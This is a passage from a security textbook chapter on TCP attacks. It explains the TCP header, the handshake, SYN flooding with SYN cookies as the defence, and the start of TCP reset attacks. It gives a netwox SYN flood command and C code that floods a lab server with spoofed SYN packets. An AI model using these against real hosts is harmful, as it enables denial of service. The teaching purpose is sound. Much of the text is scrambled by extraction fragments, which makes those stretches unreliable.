Packet Sending order Packet Arriving order
TCP
IP
TCP
IP
Send Buffer Receive Buffer
TCP Client Application TCP Server Application
write(), send(), etc. read(), recv(), etc.
Figure 16.1: How TCP data are transmitted
Once a connection is established, the operating system allocates two buffers for each end,
one for sending data (send buffer), and other for receiving data (receive buffer). TCP is duplex,
i.e., both ends can send and receive data. Figure 16.1 shows how data are sent from the client to
the server; the other direction is similar.
When an application needs to send data out, it does not construct a packet directly; instead,
it places data into the TCP send buffer. The TCP code inside the operating system decides
when to send data out. To avoid sending packets with small data and therefore waste network
bandwidth, TCP usually waits for a little bit, such as 200 milliseconds, or until the data are
enough to put into one packet without causing IP fragmentation. Figure 16.1 shows that the data
from the client application are put into three packets.
Each octet in the send buffer has a sequence number associated with it. Inside the TCP
header, there is a field called sequence number, which indicates the sequence number of the first
octet in the payload. When packets arrive at the receiver side, TCP uses these sequence numbers
from the TCP header to place data in the right position inside the receive buffer. Therefore, even
if packets arrive out of order, they are always arranged in the right order. For example, data in
Packet 2 will never be sent to the application before data in Packet 1, even though Packet 2 may
arrive first.
Once data are placed in the receive buffer, they are merged into a single data stream,
regardless of whether they come from the same packet or different ones. The boundary of packet
disappears. This is not true for UDP. When the receive buffer gets enough data (or the waiting
S
am
pl
e CP data are transmitteata are transmperating system allocaerating system
er for receiving data (rreceiving d
Figure 16.1 shows howre 16.1 show
data out, it does not coout, it does n
er. The TCP code inThe TCP code in
ding packets with smapackets with
a little bit, such as 20le bit, su
out causing IP fragmenusing IP frag
t into three packets.three p
r has a sequence numa sequence
quence number, whichce number, w
kets arrive at the receiarrive at the r
data in the right positin the right p
r, they are always arrar, they are always
to the application befoto the applicatio
d in the receive buffn the receive
rom the samem the
en t
C
ha
pah
CCCCCCC1CC
hhahahahaha3
CPacketPacke Arrivin
h
C
ha
pt
er
calling process. Onng pro
ss, while 0 is returnede 0 is retu
ove is executed by thes executed by
nt process. The sockeocess. The
same reason, the parereason, the
TCP
C
hIP
CCC
h
C
hhh
Receivecei Buff
P Serverer ApplicationApplicationaa
C
ha
p
recv(), etc.etc
16.1. HOW THE TCP PROTOCOL WORKS 333
time is enough), TCP will make the data available to the application. Normally, applications
would read from the receive buffer, and get blocked if no data is available. Making data available
will unblock the application. For performance, TCP will not unblock the application as soon as
data have arrived, it waits until there are enough data or enough waiting time has elapsed.
The receiver must inform the sender that data have been received; it sends out acknowledg-
ment packets. For performance reason, the receiver does not acknowledge each packet that it
has received; it tells the sender the next sequence number that it expects to receive from the
sender. For example, if at the beginning, the receiver’s next expected sequence number is x,
and it receives 100 contiguous octets after x (from one or multiple packets), its next expected
sequence number would be x+100; the receiver will put x+100 in the acknowledgment packet.
If the sender does not receive an acknowledgment within a certain time period, it assumes that
the data are lost, and will retransmit the data.
16.1.4 TCP Header
Source port (16) Destination port (16)
Sequence number (32)
Acknowledgment number (32)
Checksum (16) Urgent pointer (16)
Window size (16)
Header
Length
(4)
F
I
N
U
R
G
A
C
K
P
S
H
R
S
T
S
Y
N
Bit 0 Bit 15 Bit 31
Options (0 or 32 if any)
Reserved
(6)
Bit 16
Figure 16.2: TCP Header
The TCP part of an IP packet is called TCP segment, which starts with a TCP header,
followed by a payload. The format of TCP header is depicted in Figure 16.2. We will go
over each field, and give a brief description. Details of the header specification can be found
in [Postel, 1981].
• Source and Destination port (16 bits each): These two numbers specify the port numbers
of the sender and receiver.
• Sequence number (32 bits): This field specifies the sequence number of the first octet
in this TCP segment. If the SYN bit is set, the sequence number is the initial sequence
number.
• Acknowledgment number (32 bits): This field is only valid if the ACK bit is set. It contains
the value of the next sequence number expected by the sender of this segment.
S
am
pl
e eChecksumecksum (16)6)e eRGG ee CKK eHHe T N
pl
eOptio
ed
)
Fig
part of an IP packetof an IP pa
a payload. The formayload. T
field, and give a brief dand give a b
1981].1].
ource and Destinatione and Destina
of the sender and receisender and
Sequence number (3Sequence numb
in this TCP segmenin this TCP s
number.numbe
knowledgmenowled
the
C
ha
pt
er
to the application. Nhe ap
if no data is available.ata is avai
CP will not unblock thwill not unbloc
h data or enough waitina or enough
ata have been receivedve been rece
eceiver does not acknoeiver does not a
quence number that itce number th
he receiver’s next expceiver’s nex
r x (from one or multirom one or
eceiver will puter wi x+100x+
wledgment within a cerent within a
e data.a.
C
h(16)(16)
C
h
CSequenceuen nuCAcknowledgmeAcknowleCCFCC
BitB 15 Bit 16
334 CHAPTER 16. ATTACKS ON THE TCP PROTOCOL
• Header length (4 bits): The length of the TCP header is measured by the number of 32-bit
words in the header, so we need to multiply the value in this field by 4 to get the number
of octets in the TCP header.
• Reserved (6 bits): This field is not used.
• Code Bits (6 bits): There are six code bits, including SYN, FIN, ACK, RST, PSH and
URG. They are for different purposes. Some of them, such as SYN, FIN and RST, are
related to connection, and will be covered later in this chapter.
• Window (16 bits): This is the window advertisement used to specify the number of
octets that the sender of this TCP segment is willing to accept. It usually depends on the
available space in the machine’s receive buffer, to make sure that the other end does not
send more data than what the buffer can hold. The purpose of this field is for flow control.
If one end of the connection sends data too fast, it may overwhelm the receive buffer of
the other end, and cause data being dropped. By putting a smaller value in the window
advertisement field, the receiver can tell the sender to slow down.
• Checksum (16 bits): The checksum is calculated using part of the IP header, TCP header,
and TCP data.
• Urgent pointer (16 bits): If the URG code bit is set, the first part of the data contains urgent
data. These data are out of band, i.e., they do not consume sequence numbers. The same
TCP segment can contain both urgent data and normal data. The urgent pointer specifies
where the urgent data ends and the normal TCP data starts.
The urgent data are usually used for emergency/priority purpose. When TCP receives
urgent data, it usually uses a different mechanism (such as exception) to deliver the data to
applications. Urgent data do not “wait in line”, so even if there are still data in the buffer
waiting to be delivered to applications, TCP will deliver the urgent data immediately.
• Options (0-320 bits, divisible by 32): TCP segments can carry a variable length of options,
which provide a way to deal with the limitations of the original header.
16.2 SYN Flooding Attack
The SYN Flooding attack targets the period when a TCP connection is being established, i.e.,
targeting the TCP three-way handshake protocol. In this section, we will describe this protocol
first, and then talk about how the attack works.
16.2.1 TCP Three-Way Handshake Protocol
In the TCP protocol, before a client can talk to a server, both sides need to establish a TCP
connection. The server needs to make itself ready for such a connection by entering the LISTEN
state (e.g., via invoking listen()), while the client needs to initiate the connection using a
three-way handshake protocol.
The handshake protocol consists of three steps (Figure 16.3(a)). First, the client sends a
special packet called SYN packet to the server, using a randomly generated number x as its
sequence number. The packet is called SYN packet because the SYN bit in the TCP header is
set to one. Second, after the server receives the packet, it replies with a SYN + ACK packet
S
am
pl
e
rgency/pri
hanism (such as excsm (such a
n line”, so even if there”, so even if
TCP will deliver the uwill deliver
TCP segments can carP segments c
e limitations of the ormitations of th
ack
e period when a TCP cod when a T
ake protocol. In this sprotocol.
ttack works.works.
Handshake Protondshake P
client can talk to a snt can talk t
to make itself ready foe itself read
sten()ten ), while the cl), while t
col.col
col consists of three sol consists of thr
N packet to the servepacket to the s
calledlled SYN p
ves
C
ha
pt
er
the number of 32-bitumbe
y 4 to get the numberget the num
FINN,, ACKACK, RST, PSH
as SYNN, FINFIN andand RST
er.
sed to specify the nuo specify th
ccept. It usually depenusually dep
sure that the other ene that the other en
ose of this field is for flf this field is
y overwhelm the recerwhelm the
tting a smaller value ia smaller val
to slow down.ow down.
sing part of the IP heang part of th
et, the first part of theet, the first part o
not consume sequenceot consume sequ
d normal data. The urormal data. Th
tarts.
16.2. SYN FLOODING ATTACK 335
(i.e., both the SYN and ACK bits are set to one). The server chooses its own randomly generated
number y as its initial sequence number. Third, when the client gets this packet, it sends out an
ACK packet to conclude the handshake.
Figure 16.3: TCP Three-way Handshake Protocol and SYN Flooding
When the server receives the initial SYN packet (the place marked with � in Figure 16.3(a)),
it uses a special data structure called Transmission Control Block (TCB) to store the information
about this connection. At this step, the connection is not fully established yet; it is called a
half-open connection, i.e., only the client-to-server direction of the connection is confirmed, and
the server-to-client direction has not been initiated yet. Therefore, the server stores the TCB in a
queue that is only for the half-open connections. After the server gets the ACK packet from the
client, it will take this TCB out of the queue, and store it in a different place.
If the final ACK packet does not come, the server will resend its SYN + ACK packet. If the
final ACK packet never comes, the TCB stored in the half-open connection queue will eventually
time out, and be discarded.
16.2.2 The SYN Flooding Attack
In a Denial-of-Service (DOS) attack, if a weaker attacker wants to bring down a much more
powerful server, the attacker cannot directly overpower the mighty server; he needs to look for
the server’s Achilles heel, and focuses his power on attacking this weak point. The half-open
connection queue is the server’s Achilles heel.
Before the three-way handshake protocol is finished, the server stores all the half-open
connections in a queue, and the queue does have a limited capacity. If attackers can fill up this
queue quickly, there will be no space to store the TCB for any new half-open connection, so the
server will not be able to accept new SYN packets. Even though the server’s CPU and bandwidth
have not reached their capacity yet, nobody can connect to it any more.
To fill up the half-open connection queue, an attacker just needs to do the following: (1)
continuously send a lot of SYN packets to the server, and (2) do not finish the third step of the
three-way handshake protocol. The first step consumes the space in the queue, because each
SYN packet will cause a TCB record being inserted into the queue. Once the record is in, we
would like it to stay there for as long as possible. There are several events that can lead to the
dequeue of a TCB record. First, if the client finishes the three-way handshake process, the
S
am
pl
e
ion has not
e half-open connectf-open con
TCB out of the queue,out of the q
acket does not come, thoes not com
er comes, the TCB stoer comes, the TC
carded.
SYN Flooding AtN Flooding
-Service (DOS) attackvice (DOS) attack
er, the attacker cannote attacker ca
Achilles heel, and foclles hee
queue is the server’s Ae is the serve
e the three-way handsthree-w
ons in a queue, and thea queue, an
uickly, there will be noy, there will
will not be able to acceot be able to
not reached their capacched their c
To fill up the half-openTo fill up the half
tinuously send a lot oftinuously send a
ree-way handshake pre-way handshak
YN packet will causepacket will ca
e it to stay tht to s
B re
C
ha
pt
e
hha
ptptpptptptppapp
te
rserver chooses its owver chhen the client gets thisclient gets
ppp
ha
pt
ete
Three-way Handshakehree-way Handsh
he initialhe SYN packetpa
e called Transmissionalled Transmiss
step, the connecttep, the con
-to-serv
336 CHAPTER 16. ATTACKS ON THE TCP PROTOCOL
record will be dequeued, because it is not half-open anymore. Second, if a record stays inside
for too long, it will be timed out, and removed from the queue. The timeout period can be quite
long (e.g., 40 seconds). Third, if the server receives a RST packet for a half-open connection,
the corresponding TCB record will be dequeued.
When flooding the target server with SYN packets, attackers need to use random source IP
addresses; otherwise, their attacks can be easily blocked by firewalls. When the server replies
with SYN + ACK packets, chances are that the replies may be dropped somewhere in the
Internet because the forged IP address may not be assigned to any machine or the machine may
not be up at the moment. Therefore, the half-open connections will stay in the queue until they
are timed out. If a SYN + ACK packet does reach a real machine, the machine will send a TCP
reset packet to the server, causing the server to dequeue the TCB record. In practice, the latter
situation is quite common, but if our attack is fast enough, we will still be able to fill up the
queue. This attack is called SYN Flooding attack. Figure 16.3(b) illustrates the attack.
16.2.3 Launching the SYN Flooding Attack
To gain a first-hand experience on the SYN flooding attack, we will launch the attack in our
virtual machine environment. We have set up three VMs, one called User (10.0.2.68) , one
called Server (10.0.2.69), and the other called Attacker (10.0.2.70). Our goal is
to attack Server, preventing it from accepting telnet connections from any host. Before
the attack, we first do a telnet from the User machine to Server, and later we will check
whether the SYN flooding attack affects the existing connections.
On Server, we need to turn off a countermeasure called SYN cookies [Bernstein, 1996],
which is enabled by default in Ubuntu. This countermeasure is effective against SYN flooding
attacks, and its details will be discussed later. We can turn it off using the following command:
seed@Server:$ sudo sysctl -w net.ipv4.tcp_syncookies=0
Before launching the attack, let us check the situation of half-open connections on Server.
We can use the “netstat -tna” command to do that. The following result shows the
outcome of the command. In the State column, half-open connections have label SYN RECV.
From the result, we see many LISTEN states, indicating that some applications are waiting
for TCP connection. We also see two ESTABLISHED TCP connections, including a telnet
connection. We do not see any half-open connections. In normal situations, there should not be
many half-open connections.
seed@Server(10.0.2.69)$ netstat -tna
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 10.0.2.69:53 0.0.0.0:* LISTEN
tcp 0 0 127.0.1.1:53 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:53 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:23 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:953 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN
tcp 0 0 10.0.2.69:23 10.0.2.68:45552 ESTABLISHED
tcp6 0 0 :::80 :::* LISTEN
tcp6 0 0 :::53 :::* LISTEN
tcp6 0 0 :::21 :::* LISTEN
m
pl
e
unterm
We can turn it ofn turn ietcp_syncothe situation of half-opthe situation of h
mand to do that. Thto do that
column, half-open connmn, half-open
states, indicating thats, indicatin
STABLISHEDBLIS TCP cTC
en connections. In nornnections. In no
mat -tnamservers anmdressam
3 0
am.1:53 a0.1:53
S
a0:22
S
a0.0.0:23
S
a127.0.0.1:95S127.0.0.1:33S10.0.2.69:23S80 S
C
ha
pt
er
a record stays insideord st
ut period can be quiteod can be q
half-open connection-open connec
to use random sourcerandom sou
. When the server repWhen the serve
ropped somewhere inped somewhe
machine or the machinine or the ma
ll stay in the queue uny in the que
e, the machine will senmachine wil
B record. In practice,rd. In practi
we will still be able toll still be able to
3(b) illustrates the attallustrates the
tack, we will launch tack, we w
, one calledone called UserUser (10
AttackerAttacker ((10.0.21
netne connections fromtion
chine tohin Serverer, and
g connections.onnections.
ledd SYN cooSY
ctiv
16.2. SYN FLOODING ATTACK 337
tcp6 0 0 :::22 :::* LISTEN
tcp6 0 0 :::3128 :::* LISTEN
tcp6 0 0 ::1:953 :::* LISTEN
To launch a SYN flooding attack, we need to send out a large number of SYN packets, each
with a random source IP address. We will use an existing tool to do this. The tool is called
Synflood, which is Tool 76 in the Netwox tools. The usage of this tool is described in the
following. Netwox has already been installed in our Ubuntu16.04 VM.
Title: Synflood
Usage: netwox 76 -i ip -p port [-s spoofip]
Parameters:
-i|–dst-ip ip destination IP address
-p|–dst-port port destination port number
-s|–spoofip spoofip IP spoof initialzation type
In our attack, we target Server’s telnet server, which is listening to TCP port 23;
Server’s IP address is 10.0.2.69. Therefore, our command is the following (this command
needs to be executed using the root privilege; the choice of raw for the -s option means to
spoof at the IP4/IP6 level, as opposed to the link level).
seed@Attacker:$ sudo netwox 76 -i 10.0.2.69 -p 23 -s raw
After running the above command for a while, we check the situation for the half-open
connections again using the netstat command. This time, we see a completely different
result. We only show a snippet of the result, which clearly lists a large number of half-open
connections (marked by SYN RECV). These half-open connections are all targeting the port
23 of 10.0.2.69; the source IP address looks quite random. Once the quantity of this type
of connections reaches a certain threshold, the victim will not be able to accept new TCP
connections.
seed@Server(10.0.2.69)$ netstat -tna
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 10.0.2.69:23 255.215.154.225:32365 SYN_RECV
tcp 0 0 10.0.2.69:23 248.247.105.223:8406 SYN_RECV
tcp 0 0 10.0.2.69:23 241.62.204.237:27515 SYN_RECV
tcp 0 0 10.0.2.69:23 241.97.70.112:59884 SYN_RECV
tcp 0 0 10.0.2.69:23 254.235.43.100:53538 SYN_RECV
tcp 0 0 10.0.2.69:23 252.195.164.130:64975 SYN_RECV
tcp 0 0 10.0.2.69:23 248.54.128.68:32551 SYN_RECV
tcp 0 0 10.0.2.69:23 250.35.25.125:20196 SYN_RECV
tcp 0 0 10.0.2.69:23 243.155.118.205:32524 SYN_RECV
tcp 0 0 10.0.2.69:23 255.43.124.77:15435 SYN_RECV
tcp 0 0 10.0.2.69:23 247.1.65.100:31916 SYN_RECV
tcp 0 0 10.0.2.69:23 240.24.95.149:32605 SYN_RECV
To prove that the attack is indeed successful, we make an attempt to telnet to the server
machine. Our telnet client tried for a while, before giving up eventually. The result is shown
in the following.S
am
pl
e
SYN
e
RE
e source IP addressrce IP add
s a certain threshold,ertain thresle2.69)$ nplnnectionspd-Q Localp0 10.0.p0 10.0.
m
p0 10.0.2.
m
p
0 10.0.2
m0 10m0 1m0 0 1m0 0am0 0a0 0a0
S
a0
To prove that the attacTo prove that th
chine. Ourchine. Our telnetln c
the following.he following.
C
ha
pt
errerero send out a large numd out a largee an existing tool toe an existing toox tools. The usage oftools. The usag
ed in ourour Ubuntu16Ubunt
pp-s spoofiapapnation IP addaination poapoof initer’s telnettelnet serverse
69. Therefore, our coTherefore, ou
ootoot privilege; the choprivile
posed to the link levelosed to the link
Cetwox 76 -icommand for a whilommand for atstattstat commancomresult, w
338 CHAPTER 16. ATTACKS ON THE TCP PROTOCOL
seed@User(10.0.2.68):$ telnet 10.0.2.69
Trying 10.0.2.69…
telnet: Unable to connect to remote host: Connection timed out
The attack does not tie up the computing power on Server. This can be easily checked
by running the top command on the server machine. From the result below, we can see that
the CPU usage is not high. We also check the existing connection from User to Server, and
it still works fine. Basically, Server is still alive and functions normally, except that it has
no more space for half-open telnet connections. The queue for this type of connections is
a choke point, regardless of how powerful the victim machine is. It should be noted that the
queue affected is only associated with the telnet server; other servers, such as SSH, are not
affected at all.
seed@Server(10.0.2.69):$ top
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
3 root 20 0 0 0 0 R 6.6 0.0 0:21.07 ksoftirqd/0
108 root 20 0 101m 60m 11m S 0.7 8.1 0:28.30 Xorg
807 seed 20 0 91856 16m 10m S 0.3 2.2 0:09.68 gnome-terminal
1 root 20 0 3668 1932 1288 S 0.0 0.3 0:00.46 init
2 root 20 0 0 0 0 S 0.0 0.0 0:00.00 kthreadd
5 root 20 0 0 0 0 S 0.0 0.0 0:00.26 kworker/u:0
6 root RT 0 0 0 0 S 0.0 0.0 0:00.00 migration/0
7 root RT 0 0 0 0 S 0.0 0.0 0:00.42 watchdog/0
8 root 0 -20 0 0 0 S 0.0 0.0 0:00.00 cpuset
16.2.4 Launching SYN Flooding Attacks Using C Code
Instead of using the Netwox tool, we can easily write our own program to send SYN flooding
packets. In Chapter 15 (Sniffing and Spoofing), we have learned how to spoof IP packets. We
will spoof SYN packets here. In our spoofed packets, we use random numbers for the source
IP address, source port number, and sequence number. The code is shown below. Instead of
attacking a telnet server, we attack a web server on our target machine Server (the target
web server runs on port 80). When we run the attack program, we will find out that the target
web server becomes unaccessible. Before doing the experiment, we should clean the browser
cache first, or the browser may display the cached web content.
Listing 16.4: Spoofing SYN packets (tcp syn flooding.c)
#include
#include
#include
#include
#include
#include
#include
#include
#define DEST_IP “10.0.2.69”
#define DEST_PORT 80 // Attack the web server
#define PACKET_LEN 1500
tacks Using Cks Using
ily write our own progrite our own
ng), we have learned hg), we have learn
ed packets, we use rand packets, we u
ence number. The codumber. Th
web server on our targeserver on ou
run the attack programhe attack pro
ore doing the experimoing the expe
y the cached web contcached web cont
ng SYN packets (YN pack tcpmmamama
S
a
S
a>
S
ah> S10.0.2 S// AttacS
C
ha
pt
errererd outs can be easily checkebe easily chlt below, we can see tt below, we can som UserUser tot Serverer
normally, except thatally, except t
r this type of connects type of c
s. It should be notedshould be n
r servers, such asvers, such as SSH
aha
+ COMMA
ha.07 ksoftha28.30 Xorh2 0:09.68 gno
C
h0:00.46
C
h0 0:00.00 kt
C
0.0 0:00.26
C0.0 0:00.00C0.0 0:00.42C.0 0:00.00
16.2. SYN FLOODING ATTACK 339
/* TCP Header */
struct tcpheader {
u_short tcp_sport; /* source port */
u_short tcp_dport; /* destination port */
u_int tcp_seq; /* sequence number */
u_int tcp_ack; /* acknowledgement number */
u_char tcp_offx2; /* data offset, rsvd */
#define TH_OFF(th) (((th)->tcp_offx2 & 0xf0) >> 4)
u_char tcp_flags;
#define TH_FIN 0x01
#define TH_SYN 0x02
#define TH_RST 0x04
#define TH_PUSH 0x08
#define TH_ACK 0x10
#define TH_URG 0x20
#define TH_ECE 0x40
#define TH_CWR 0x80
#define TH_FLAGS
(TH_FIN|TH_SYN|TH_RST|TH_ACK|TH_URG|TH_ECE|TH_CWR)
u_short tcp_win; /* window */
u_short tcp_sum; /* checksum */
u_short tcp_urp; /* urgent pointer */
};
/******************************************************************
Spoof a TCP SYN packet.
*******************************************************************/
int main() {
char buffer[PACKET_LEN];
struct ipheader *ip = (struct ipheader *) buffer;
struct tcpheader *tcp = (struct tcpheader *) (buffer +
sizeof(struct ipheader));
srand(time(0)); // Initialize the seed for random # generation.
while (1) {
memset(buffer, 0, PACKET_LEN);
/*********************************************************
Step 1: Fill in the TCP header.
********************************************************/
tcp->tcp_sport = rand(); // Use random source port
tcp->tcp_dport = htons(DEST_PORT);
tcp->tcp_seq = rand(); // Use random sequence #
tcp->tcp_offx2 = 0x50;
tcp->tcp_flags = TH_SYN; // Enable the SYN bit
tcp->tcp_win = htons(20000);
tcp->tcp_sum = 0;
/*********************************************************
Step 2: Fill in the IP header.
********************************************************/
ip->iph_ver = 4; // Version (IPV4)
ip->iph_ihl = 5; // Header length
ee eT_LEN] eip = (strleder tcp = (slepl; // Inippfer, 0, PA
m
p************
m
p
: Fill in the
m** mp_sport =mcp_dport =mcp_seqamtcp_offx2a>tcp_flagsa>tcp_win
S
a>tcp_sum
S
a
/ ******SStep 2:S*********Siph_vS
pt
errerersource poedestinatesequencete/* acknowlte/* data opt
offx2 & 0x
ptppapapaahahah
C
hTH_ACK
C
h
C
h
CCC******C
340 CHAPTER 16. ATTACKS ON THE TCP PROTOCOL
ip->iph_ttl = 50; // Time to live
ip->iph_sourceip.s_addr = rand(); // Use a random IP address
ip->iph_destip.s_addr = inet_addr(DEST_IP);
ip->iph_protocol = IPPROTO_TCP; // The value is 6.
ip->iph_len = htons(sizeof(struct ipheader) +
sizeof(struct tcpheader));
// Calculate tcp checksum
tcp->tcp_sum = calculate_tcp_checksum(ip);
/*********************************************************
Step 3: Finally, send the spoofed packet
********************************************************/
send_raw_ip_packet(ip);
}
return 0;
}
Some of the functions used in the code above are covered in Chapter 15: the code for
function calculate tcp checksum() can be found in Listing 15.19, and the code for
function send raw ip packet() can be found in Listing 15.7.
Note on using Scapy Code. We tried to use Scapy program to construct and send SYN
flooding packets. Unfortunately, Scapy is too slow. From Wireshark, we can see that there are
many reset packets coming back from the spoofed computers. Each reset packet causes the
victim server to remove a half-open connection from its queue, undoing the damage caused by
our SYN flooding attack. Basically, we are competing with these reset packets. To win, the
number of SYN flooding packets sent out during a period must be significantly more than the
number of reset packets coming back from the spoofed hosts. The speed of Scapy code simply
cannot satisfy this requirement.
In Chapter 15 (Packet Sniffing and Spoofing, §15.6), we have discussed a hybrid approach
using both Scapy and C. We can use the same technique to conduct the SYN flooding attack.
We will leave it to readers to figure out the details.
16.2.5 Countermeasure
An effective way to defend against SYN flooding attacks is a technique called SYN cookies,
which was originally invented by Daniel J. Bernstein in September 1996 [Bernstein, 1996]; it is
now a standard part of Linux and FreeBSD. In Ubuntu Linux, the countermeasure is enabled by
default, but it does not kick in, until the system detects that the number of half-open connections
becomes too many, which indicates a potential SYN flooding attack. The idea of the SYN
cookies mechanism is to not allocate resources at all after the server has only received the SYN
packet; resources will be allocated only if the server has received the final ACK packet.
This solves the SYN flooding attack problem, but it introduces a new attack: since the server
does not keep any information about the SYN packet, there is no way to verify whether the
received ACK packet is the result a previous SYN+ACK packet, or it is simply a spoofed packet.
Therefore, attackers can do the ACK flooding, i.e., flooding the server with many spoofed ACK
packets, each causing the server to allocate precious resources. This attack is probably more
S
am
pl
e
ofed comp
from its queue, undm its queue
ompeting with theseeting with t
ring a period must beperiod mus
he spoofed hosts. Thehe spoofed hosts
oofing,ng, §§15.6), we hav15.6), w
e same technique to coe technique
the details.etails.
t SYN flooding attackN flooding a
Daniel J. Bernstein inel J. Ber
FreeBSD. In UbuntuBSD. In Ubu
ntil the system detectsthe system de
dicates a potential SYes a potentia
allocate resources at ale resources
ocated only if the servocated only if the
oding attack problem,oding attack pro
mation about the SYNation about the S
e result a previousesult a previou SY
CK flooding,K floo
ate
C
ha
pt
errer
ddress
ereetept
e
ptp**********apap***********/aahahe covered in Chaptercovered in Chaound in Listing 15.19ound in Listing 15
Listing 15.7.Listing 15.7.
program to conprogram to
shark, w
16.3. TCP RESET ATTACK 341
harmful than the SYN flooding attack, because resources allocated for a completed connection
are more than that for a half-open connection. The server must know whether an ACK packet is
legitimate or not. The SYN cookies idea provides an elegant solution to this problem.
The idea of the mechanism is summarized by Bernstein: “SYN cookies are particular choices
of initial TCP sequence numbers by TCP servers”. Normally, this initial TCP sequence numbers
is randomly generated by the server, but the SYN cookies mechanism uses this sequence number
to encode useful information. After a server has received a SYN packet, it calculates a keyed
hash from the information in the packet, including the IP addresses, port number, and sequence
number, using a secret key that is only known to the server. This hash value H will be used as
the initial sequence number placed in the server’s SYN+ACK packet sent back to the client. The
value H is called SYN cookies. If the client is an attacker, the packet will not reach the attacker
(in the SYN flooding attack, the client’s IP address is fake). If the client is not an attacker, it will
get the packet, and send back an ACK packet, with the value H+1 in the acknowledgment field.
When the server receives this ACK packet, it can check whether the sequence number inside the
acknowledgment field is valid or not by recalculating the cookie based on the information in the
packet. This verification step will prevent the ACK flooding, and ensure that the ACK packet is
the consequence of a previous SYN+ACK packet. Because attackers do not know the secret used
in calculating the cookie, they cannot easily forge a valid cookie.
With the SYN cookies mechanism, SYN flooding attacks can be effectively defeated.
Although attackers can still flood the server with many SYN packets, they will not be able to
consume the server’s resource, because nothing is saved. Attackers can also flood the server with
many ACK packets, but because they do not have valid SYN cookies in the acknowledgment
field, they will not trigger resource allocation on the server.
16.3 TCP Reset Attack
The objective of a TCP Reset attack is to break an existing connection between two victim hosts.
Before discussing the attack, we first study how TCP connections can be closed.
16.3.1 Closing TCP Connections
When we make phone calls, after the conversation is done, we disconnect. There are two typical
ways to do that. One way is for the two parties to say goodbye to each other, and then hang up.
This is a civilized method. The other method is used when one side becomes very angry, and
he/she simply hangs up the phone without saying goodbye. This is rude. Rude or civilized, both
methods can be used to close TCP connections.
For the “civilized” approach, when one end (say A) of a TCP connection has no data to send
to the other side, it sends out a FIN packet to the other side (say B). FIN is one of the six code
bits in the TCP header. After B receives the packet, it replies with an ACK packet. This way, the
A-to-B direction of the connection is closed, but the other direction (B-to-A) is still open. If B
wants to close that direction, it sends a FIN packet to A, and A will reply with an ACK packet.
At this point, the entire TCP connection is closed. This is the TCP FIN protocol [Postel, 1981],
and it is depicted in Figure 16.4.
For the “non-civilized” approach, one party simply sends a single TCP RST packet to the
other side, immediately breaking the connection. RST is also one of the six code bits in the
TCP header. This approach is mainly used in emergency situations, when there is no time to
do the FIN protocol. RST packets are also sent when some errors are detected. For instance,
S
am
pl
e et AttackAttackP Reset attack is to breP Reset attack is toe attack, we first studye attack, we first
ng TCP ConnectioTCP Conn
phone calls, after the ce calls, after t
t. One way is for the twne way is for the t
ized method. The othmethod. The
y hangs up the phone wngs up th
n be used to close TCPused to close
e “civilized” approach,ilized” a
er side, it sends out ae, it sends o
he TCP header. After BCP header. A
direction of the connection of the c
to close that directionse that direc
is point, the entire TCis point, the entir
it is depicted in Figurit is depicted in
For the “non-civilizeFor the “non-civ
her side, immediatelyr side, immedi
er. This appThi
ol
C
ha
pt
er
ources allocated for as allo
server must know whemust know
s an elegant solution telegant soluti
Bernstein: “SYN cooknstein: “SYN
s”. Normally, this initiormally, this
YN cookies mechanismN cookies mecha
has received a SYN preceived a S
luding the IP addresseng the IP add
own to the server. Thito the serve
server’ser’s SYN+ACKSYN+AC pa
ent is an attacker, the pan attacker, t
IP address is fake). Ifddress is fake). If
packet, with the valueket, with the v
acket, it can check wheit can check
by recalculating the cecalculating t
prevent the ACK floodnt the ACK
N+ACKN+ACK packet. Becaupacket. Be
annot easily forge a vat easily forg
echanism, SYN floodechanism, SYN fl
ood the server with mood the server w
, because nothing is sabecause nothing
ause they do not havese they do not
e allocation one allocatio
342 CHAPTER 16. ATTACKS ON THE TCP PROTOCOL
BA
Figure 16.4: TCP FIN Protocol
in the SYN flooding attack against a TCP server, if the spoofed source IP address does belong
to a running computer, it will receive the SYN + ACK packet from the server. However, since
the machine has never initialized the connection request, it knows that something is wrong, so,
according to the protocol, it replies with a RST packet, basically telling the server to close the
half-open connection. Therefore, RST is important for the TCP protocol.
16.3.2 How the Attack Works
A single packet can close a TCP connection! This is a perfect candidate for attacks. If A and B
can send out an RST packet to each other to break up the connection, what prevents an attacker
from sending out exactly the same packet on behalf of A or B? This is totally possible, and the
attack is called TCP Reset Attack.
The idea is quite simple: to break up a TCP connection between A and B, the attacker
just spoofs a TCP RST packet from A to B or from B to A. Figure 16.5(a) illustrates the idea.
However, to make the attack successful, several fields of the IP and TCP headers need to be
filled out correctly. First, every TCP connection is uniquely identified by four numbers: source
IP address, source port, destination IP address, and destination port. Therefore, these four fields
in the spoofed packet need to be the same as those used by the connection. Second, the sequence
number in the spoofed packet needs to be correct, or the receiver will discard the packet. What
is considered as “correct” is quite ambiguous. RFC 793 [Postel, 1981] says that as long as the
sequence number is within the receiver’s window, it is valid; however, the experiment that we
will discuss later indicates a more restricted requirement in Linux. Figure 16.5(b) highlights the
fields that need to be correctly filled out in the IP and TCP headers.
16.3.3 Launching the TCP Reset Attack: Setup
To gain a first-hand experience on the TCP Reset attack, we will launch the attack in our virtual
machine environment. Our setup is the same as that in the SYN flooding attack. If the attacker
is not on the same network as either the client or the server, the attack will be quite difficult due
to the difficulty of guessing the correct sequence number. Although that can be done in practice,
we would like to avoid that, so we can focus on the key idea of the TCP Reset attack. Therefore,
S
am
pl
e his is a perfect canda perfecteak up the connectionup the connebehalf of A or B? Thif of A or B?
a TCP connection beP connecti
B or from B to A. Figfrom B to A
several fields of theeral fields o
nnection is uniquely idion is unique
address, and destinatioss, and destinatio
me as those used by thas those used by th
to be correct, or the recorrect, or t
ambiguous. RFC 793guous. RFC
ceiver’s window, it is vr’s window, i
restricted requiremencted requir
filled out in the IP andout in the IP
e TCP Reset AttacTCP Reset A
nce on the TCP Resetnce on the TCP
r setup is the same assetup is the sam
k as either the client os either the cli
rrect sequenect se
us o
C
ha
pt
er
